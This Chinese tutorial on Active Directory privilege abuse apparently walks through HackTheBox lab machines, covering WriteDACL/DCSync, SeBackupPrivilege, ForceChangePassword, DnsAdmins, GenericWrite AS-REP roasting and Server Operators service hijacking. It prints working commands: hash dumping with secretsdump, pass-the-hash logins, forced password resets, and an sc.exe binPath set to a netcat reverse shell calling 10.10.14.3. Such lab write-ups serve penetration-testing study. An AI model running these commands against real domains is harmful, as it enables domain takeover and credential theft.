域渗透中可滥用权限及其应用
滥用writeDACL 权限实现权限提升
简介:在域环境中,如果安装Exchange后,系统会添加一个名为Microsoft Exchange Security Groups、Exchange Trusted Subsystem和Exchange Windows Permission三个组。如果获得了这三个组内任意用户的控制权限,就能够继承用户组的WriteDACL权限,WriteDACL权限可以修改域对象的ACL,最终实现利用DCSync导出域内所有用户hash,实现权限提升的目的。
实际应用场景:
通过在BloodHound中搜索“svc-alfresco”用户,我发现实际上该用户属于 Account Operators 组,该组是AD中的特权组之一,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。但是,不能更改属于Administrators或Domain Admins组的账号,也不能更改这些组。
通过下图我们可以看到从 svc-alfresco 到 Domain Admins 的路径,我们在下图中的发现exchange windows permission组完全信任Account Operators 组,因此我们可以利用Account Operators 组的权限创建一个新用户,然后把他添加到exchange windows permission组,这样我们就可以对HTB.LOCAL进行一些操作了,我们看到exchange windows permission组的成员对htb.local用有writeDACL权限, 然后我们可以利用我们新添加的用户对HTB.LOCAL的 writeDACL权限进行恶意利用,进而实现权限提升,
默认情况下,Exchange Windows Permissions安全组对安装 Exchange 的域的域对象具有 writeDACL 权限。
writeDACL 权限允许身份修改指定对象的权限(换句话说:修改 ACL),这意味着通过成为组织管理组的成员,我们能够将权限提升到域管理员的权限。
为了利用这一点,我们将新创建的用户帐户添加到该Exchange Windows Permission组中。Exchange Windows Permission组的成员,这允许我们修改HTB.LOCAL域的 ACL。
1 | net user popayw 123abc! /add /domain # 创建用户 |
如果我们有权修改 AD 对象的 ACL,则可以将权限分配给允许他们写入特定属性(例如包含电话号码的属性)的身份。除了为这些属性分配读/写权限外,还可以为扩展权限分配权限。这些权限是预定义的任务,例如更改密码、向邮箱发送电子邮件等权限2。通过应用以下扩展权限,还可以将任何给定帐户添加为域的复制伙伴:
- 复制目录更改(DS-Replication-Get-Changes)
- 全部复制目录更改 (DS-Replication-Get-Changes-All )
当我们为我们的用户帐户设置这些权限时,我们能够请求域中任何用户的密码哈希,那么具体如何获取的呢?
DCsync攻击
- DCSync攻击原理
主要利用的是域控制器之间的数据同步复制
当一个 DC (客户端 DC)想从其他 DC (服务端 DC)获取数据时,客户端 DC 会向服务端 DC 发起一个 GetNCChanges 请求。回应的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。毕竟每次回应的数据有限。
用户想要发起DCSync
攻击,必须获得以下任一用户的权限
- Administrators组内的用户
- Domain Admins组内的用户
- Enterprise Admins组内的用户
- 域控制器的计算机帐户
之前我们已经创建了一个有DCSync
权限的用户,我们可以使用secretsdump.py
工具执行 DCSync
以转储管理员用户的 NTLM
哈希
1 | python3 /usr/share/doc/python3-impacket/examples/secretsdump.py popayw:'123abc!'@10.10.10.161 |
可以看到已经拿到所有用户的hash
,包括admin
用户的
滥用SeBackupPrivilege权限进行NTDS.dt卷影拷贝实现权限提升
简介:SeBackupPrivilege权限用来实现备份操作,允许文件内容检索,即使文件上的安全描述符可能未授予此类访问权限。 启用了 SeBackupPrivilege 的调用,方无需任何基于 ACL 的安全检查,我们可以借助该权限进行NTDS.dt卷影拷贝最终实现权限提升。
实际应用场景:
1 | 攻击的步骤大概分三步 |
假如我们现在拿到了一个svc_backup用户的hash,然后我们开始使用evil-winrm尝试进行远程登录
1 | evil-winrm -10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d |
通过我们之前导入的bloodhound的分析结果,我们得知该用户属于backup_operators组的成员
因此该用户也很有可能是启用SEBackupPrivilege 权限的用户。我们执行如下命令,看一下其是否有该权限
此时我们知道了我们拥有SEBackupPrivilege 权限,所以我们可以通过使用签名的二进制文件创建 NTDS.dit 的卷影副本来完成diskshadow 首先,创建一个名为 cmd.txt 的文本文件,其中包含以下内容:
1 | set context persistent nowriters# |
然后执行diskshadow 并使用脚本文件作为其输入,接着我们可以使用这个SeBackupPrivilege提供的两个dll
文件,并按照其提供的步骤操作,来复制创建的 NTDS.dit 卷影副本SeBackupPrivilege提供的两个dll
文件,并按照其提供的步骤操作,来复制创建的 NTDS.dit 卷影副本
将备份ntds.dit
文件移动到当前文件夹
从注册表中获取system.hive
文件
使用使用secretsdump.py
解析 NTDS.dit
滥用ForceChangePassword权限实现横向移动
简介: ForceChangePassword:强制更改密码,在不知道当前密码的情况下更改目标用户的密码。
实际应用场景:
我们在bloodhound可以看到support用户对AUDIT用户具有ForceChangePassword权限,顾名思义,就是support
用户可以修改audit2020
用户的密码
尝试利用rpcclient
修改audit2020
用户的密码
1 | rpcclient -U support --password='#00^BlackKnight' //10.10.10.192 |
修改密码
1 | setuserinfo2 audit2020 23 'test' |
其中23
表示用户信息级别为设置用户密码的级别
当设置的新密码与密码策略不匹配时会返回,设置一个复杂度比较高的密码
1 | setuserinfo2 audit2020 23 'abc123!' |
利用crackmapexec
验证一下
1 | crackmapexec smb 10.10.10.192 -u audit2020 -p 'abc123!' |
尝试通过audit2020
用户去获得更多smb
共享目录
1 | smbmap -H 10.10.10.192 -u audit2020 -p 'abc123!' |
相比于之前的那个用户,我们获得了目录forensic的访问权限,可以进行进一步的信息搜集,或者利用该用户的权限来进行一些原本无法实现的操作。
滥用DNS Admin组权限实现权限提升
简介:当我们有权访问恰好是 DNSAdmins 组成员的用户帐户时,或者当受感染的用户帐户对 DNS 服务器对象具有写入权限时,我们可以滥用他的成员资格从而升级为管理员权限。简单来讲,DNSAdmins 组的成员可以访问网络 DNS 信息。默认权限如下: 允许:读取、写入、创建所有子对象、删除子对象、特殊权限。默认情况下,DNSAdmins 没有启动或停止 DNS 服务的能力,但管理员授予该组成员该权限并不罕见,当dnsadmins 组的成员被授予该权限时可用于通过 dll 注入将权限提升到管理员。
实际应用场景:
我们发现ryan用户是DNSAdmins 组的成员
发现ryan
用户属于contractors
组,而contractors
组又属于dnsadmins
组,所以ryan
用户属于dnsadmins
组
就可以利用 DnsAdmins
权限进行AD
域提权
在目标上,我们可以更改 dns 的配置,因为用户 ryan 属于dnsadmins组。我们还可以启动和停止 dns 服务。
首先我们可以使用 msfvenom 生成我们的有效负载 dll,然后启动smb服务
因为正常upload
传文件会被杀掉,这里考虑使用smb
传文件
此时,之前利用python
起的smbserver
服务会收到回显
滥用AD Recycle Bin权限实现权限提升
简介:AD Recycle Bin
是一个著名的 Windows 组。Active Directory 对象恢复(或回收站)是 Server 2008 中添加的一项功能,允许管理员恢复已删除的项目,就像回收站对文件所做的一样。在 Windows Server 2012 之前,从 AD 回收站还原对象需要使用 LDAP 工具或 PowerShell 列出所有已删除的对象,筛选一长串对象以找到所需的对象,然后使用另一个 PowerShell 命令来还原它。
实际应用场景:
当前我们拿到了arksvc用户的shell,我们之前还找到了一个旧电子邮件,在该邮件中提到临时管理员帐户TempAdmin使用了与正常管理员帐户相同的密码(密码复用)。
通过使用以下命令我们可以查看当前用户的所属组
发现该用户属于 AD Recycle Bin
组下
我们可以使用以下命令来列出所有已删除的对象
1 | Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects |
最后一条比较有意思,我们发现了前面提到的临时用户
我们可以使用以下命令来获得该帐户的所有详细信息:
1 | Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property * |
在该用户的详细信息中,我们发现了该用户的密码,尝试解密后成功得到了TempAdmin用户的密码
滥用GenericWrite权限实现横向移动
简介:GenericWrite权限也就是通用写访问权限,该权限授予你写入目标对象上任何不受保护的属性的能力,包括组的“成员”和用户的“服务主体名称”。
实际应用场景:
当前我们拿到了用户sbauer的shell,这里我们尝试使用Blooodhound进行信息搜集
我们将bloodhound生成的json文件导入bloodhound分析,发现当前用户对JORDEN用户具有通用写权限,而JORDEN用户属于SERVER_OPERATORS组(高权限组)
这里我们说一下 AS-REP roasting攻击,该攻击允许为选择了“不需要 Kerberos 预身份验证”属性的用户检索密码哈希的技术。如果用户没有启用 Kerberos 预身份验证,我们可以为该用户请求 AS-REP,并且可以离线破解从而尝试恢复其明文密码。而这里SBAUER用户对JORDEN用户具有通用写权限,那么我们可以为JORDEN用户设置“不需要 Kerberos 预身份验证”的属性,从而尝试使用AS-REP roasting攻击获取其明文密码。
我们可以使用下面这条命令来为JORDEN用户设置“不需要 Kerberos 预身份验证”的属性
1 | Get-ADUser jorden | Set-ADAccountControl -doesnotrequirepreauth $true |
然后我们可以使用impactet下的GetNPUsers脚本来获取jorden用户的AS-rep票据
1 | python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py megacorp.local/jorden -dc-ip 10.10.10.179 |
我们把获取到的票据放到hash文件中,然后使用john尝试破解获取其明文密码
滥用Server Operators组权限实现权限提升
简介:Server Operators组:该组仅存在于域控制器上的内置组。默认情况下,该组没有成员。服务器操作员可以交互式登录到服务器;创建和删除网络共享;启动和停止服务;备份和恢复文件;格式化电脑硬盘;并关闭计算机。
实际应用场景:
当前我们拿到了用户jorden的shell,默认情况下,该组具备启动和停止服务的能力,并且该用户可以编辑任何服务。
所以这里使用服务路径劫持的方式来获得系统权限,首先上传nc64.exe
经过多次测试后发现可以改变browser
服务的路径
1 | sc.exe config browser binPath= "C:\Users\jorden\Documents\nc64.exe -e cmd.exe 10.10.14.3 80 |
kali中监听
然后在靶机中手动重启browser
服务
1 | sc.exe stop browser |
kali回显
滥用SeBackup和SeRestore权限实现敏感文件的拷贝和读取
简介:SeBackupPrivilege权限:可以用来实现备份操作,对当前系统任意文件具有读权限 。 SeRestorePrivilege权限:该权限被描述为“需要执行恢复操作”,并导致系统将所有写访问控制权授予任何系统上的文件,而不考虑文件 ACL。 此外,该特权允许持有进程或线程更改所有者文件,因此获得此特权的含义应该是显而易见的。
实际应用场景:
通过使用whoami /priv
命令发现该用户具有SeBackupPrivilege和
SeRestorePrivilege权限
有了SeBackupPrivilege和SeRestorePrivilege这两个权限,我就可以用robocopy
来复制敏感文件并读取其内容,在实战环境下我们可以尝试读取其他的一些敏感文件。